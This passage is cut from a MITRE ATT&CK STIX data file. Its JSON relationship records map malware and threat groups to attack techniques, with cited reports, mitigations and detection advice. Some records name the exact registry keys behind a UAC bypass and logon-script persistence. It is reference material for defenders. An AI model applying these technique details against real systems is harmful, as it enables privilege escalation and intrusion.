"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a0f1273a-e422-4801-a911-e7cb223ebea2", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 2", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}], "modified": "2020-03-16T15:53:20.445Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list connected devices.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a0f218db-2d79-43b7-b2b8-ef1199ada766", "type": "relationship", "created": "2019-02-12T16:33:29.335Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}], "modified": "2020-01-17T22:26:19.693Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) performs persistence with a logon script via adding to the Registry key <code>HKCU\\Environment\\UserInitMprLogonScript</code>.(Citation: ESET Zebrocy Nov 2018)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a0fade5f-6f66-415d-b078-f7ebf9542a63", "type": "relationship", "created": "2019-01-29T21:47:53.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Micropsia June 2017", "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html", "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."}, {"source_name": "Radware Micropsia July 2018", "url": "https://blog.radware.com/security/2018/07/micropsia-malware/", "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."}], "modified": "2020-03-17T01:49:40.732Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) uses HTTP and HTTPS for C2 network communications.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a0ff37b8-1a73-45dd-a645-fe2a43fad9f6", "type": "relationship", "created": "2020-08-04T15:35:30.353Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "G Data Sodinokibi June 2019", "url": "https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data", "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."}, {"source_name": "Kaspersky Sodin July 2019", "url": "https://securelist.com/sodin-ransomware/91473/", "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."}, {"source_name": "Cylance Sodinokibi July 2019", "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html", "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."}, {"source_name": "McAfee Sodinokibi October 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."}, {"source_name": "Intel 471 REvil March 2020", "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}, {"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}], "modified": "2021-04-06T14:42:52.389Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can decode encrypted strings to enable execution of commands and payloads.(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a10133d4-069f-4678-bcfb-72aeaa575296", "type": "relationship", "created": "2020-02-05T16:27:37.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-05T16:27:37.902Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a101f85c-31ca-41af-ac16-c77d585dd8e6", "type": "relationship", "created": "2020-03-15T15:34:30.892Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/cc700828.aspx", "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", "source_name": "TechNet Firewall Design"}], "modified": "2021-10-15T22:44:12.124Z", "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.(Citation: TechNet Firewall Design)", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a106b02a-0a6a-493f-911c-a00576013004", "type": "relationship", "created": "2020-11-06T18:40:38.303Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", "source_name": "Cobalt Strike TTPs Dec 2017"}], "modified": "2020-11-06T18:40:38.303Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can query shared drives on the local system.(Citation: Cobalt Strike TTPs Dec 2017)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a107acee-85a7-475c-bb99-c12a379ef2dc", "type": "relationship", "created": "2022-03-25T14:32:35.584Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Donut Github", "url": "https://github.com/TheWover/donut", "description": "TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}], "modified": "2022-03-25T14:32:35.584Z", "description": "[Donut](https://attack.mitre.org/software/S0695) code modules use various API functions to load and inject code.(Citation: Donut Github)\t", "relationship_type": "uses", "source_ref": "tool--a7b5df47-73bb-4d47-b701-869f185633a6", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1086030-ec11-44fe-9965-919a9175f3ea", "type": "relationship", "created": "2021-01-08T21:10:43.697Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}], "modified": "2021-04-20T15:44:14.226Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has masqueraded as legitimate software including TeamViewer and macOS Finder.(Citation: Red Canary NETWIRE January 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a12a296d-3cdb-4a49-840a-4ecd073b5312", "created": "2022-01-07T16:31:01.445Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.681Z", "description": "[Axiom](https://attack.mitre.org/groups/G0001) has used VPS hosting providers in targeting of intended victims.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T21:13:03.778Z", "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic is Base64-encoded plaintext.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a12ce761-4e08-4fcd-b00a-7b5eb082fda4", "type": "relationship", "created": "2020-08-25T20:11:53.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NSA/FBI Drovorub August 2020", "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF", "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}], "modified": "2020-08-25T20:11:53.281Z", "description": "[Drovorub](https://attack.mitre.org/software/S0502) can exfiltrate files over C2 infrastructure.(Citation: NSA/FBI Drovorub August 2020)", "relationship_type": "uses", "source_ref": "malware--99164b38-1775-40bc-b77b-a2373b14540a", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a12e819a-094f-4d20-b666-7d3260eb8996", "created": "2022-03-30T14:26:51.860Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", "modified": "2022-04-19T14:09:23.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a137a1d7-d40b-4565-8377-98a3065d5fec", "created": "2023-08-07T16:06:16.547Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.660Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) can transfer malicious payloads such as ransomware to compromised machines.(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a13feeb0-d376-4460-8335-f86c0f163d4b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}], "modified": "2020-03-20T15:42:34.403Z", "description": "[Socksbot](https://attack.mitre.org/software/S0273) can start SOCKS proxy threads.(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a149c02f-f710-4a4c-b69f-b257cc4bd3c3", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitor executed commands and arguments for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a14c0cae-f7da-42d6-ab3c-f11746233e06", "type": "relationship", "created": "2020-07-16T15:51:25.742Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-10-21T17:38:02.363Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can spread within a network via the BlueKeep (CVE-2019-0708) and EternalBlue (CVE-2017-0144) vulnerabilities in RDP and SMB respectively.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a14c4d34-5a27-419a-b665-e1207ba55ca7", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "source_name": "Microsoft PLATINUM April 2016"}], "modified": "2020-03-19T23:58:28.125Z", "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used keyloggers that are also capable of dumping credentials.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a152969e-2530-4cb7-acdf-f93b138116d0", "type": "relationship", "created": "2020-03-27T13:32:37.825Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-16T19:46:03.668Z", "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.", "relationship_type": "mitigates", "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a156066b-97c8-4e57-a393-048135906b93", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Alterations to the service binary path or the service startup type changed to disabled may be suspicious.", "source_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1596d76-9ade-4acb-a570-2515f69a706e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2020-03-16T17:34:50.167Z", "description": "[Proton](https://attack.mitre.org/software/S0279) uses a keylogger to capture keystrokes.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a15c905a-4932-48d8-aed0-362c0e465efd", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor for newly constructed processes and/or command-lines that can be used instead of invoking cmd (i.e. pcalua.exe, winrs.exe, cscript/wscript.exe, hh.exe, or bash.exe)", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a15e391d-cc21-484d-839a-b7057ae40179", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Bankshot Dec 2017", "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}], "modified": "2020-02-18T03:40:29.873Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) uploads files and secondary payloads to the victim's machine.(Citation: US-CERT Bankshot Dec 2017)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1625ff1-af65-4dbb-b192-3c462fae1acf", "type": "relationship", "created": "2021-03-04T14:15:16.141Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft HAFNIUM March 2020", "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}, {"source_name": "Volexity Exchange Marauder March 2021", "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}], "modified": "2021-03-04T14:37:25.217Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used the Exchange Power Shell module <code>Set-OabVirtualDirectoryPowerShell</code> to export mailbox data.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a164dce2-be0a-487b-bbe4-185843d36c6f", "type": "relationship", "created": "2021-07-30T21:03:08.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Clop Dec 2020", "url": "https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware", "description": "Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}], "modified": "2021-07-30T21:03:08.959Z", "description": "[Clop](https://attack.mitre.org/software/S0611) can use cmd.exe to help execute commands on the system.(Citation: Cybereason Clop Dec 2020) ", "relationship_type": "uses", "source_ref": "malware--cad3ba95-8c89-4146-ab10-08daa813f9de", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a16da3e1-c81e-4565-a78f-607cb937010b", "created": "2019-06-05T17:31:22.234Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro Ursnif Mar 2015", "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. 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Retrieved January 6, 2021."}], "modified": "2021-02-08T23:18:31.896Z", "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can suppress UAC prompts by setting the <code>HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command</code> registry key on Windows 10 or <code>HKCU\\Software\\Classes\\mscfile\\shell\\open\\command</code> on Windows 7 and launching the <code>eventvwr.msc</code> process, which launches [BitPaymer](https://attack.mitre.org/software/S0570) with elevated privileges.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a18968c2-e639-40fa-9751-1a5ab666bfde", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Track the deployment of new containers, especially from newly built images.", "source_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", "target_ref": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a18e4022-0cfd-4ee0-b851-bec3b426315a", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}], 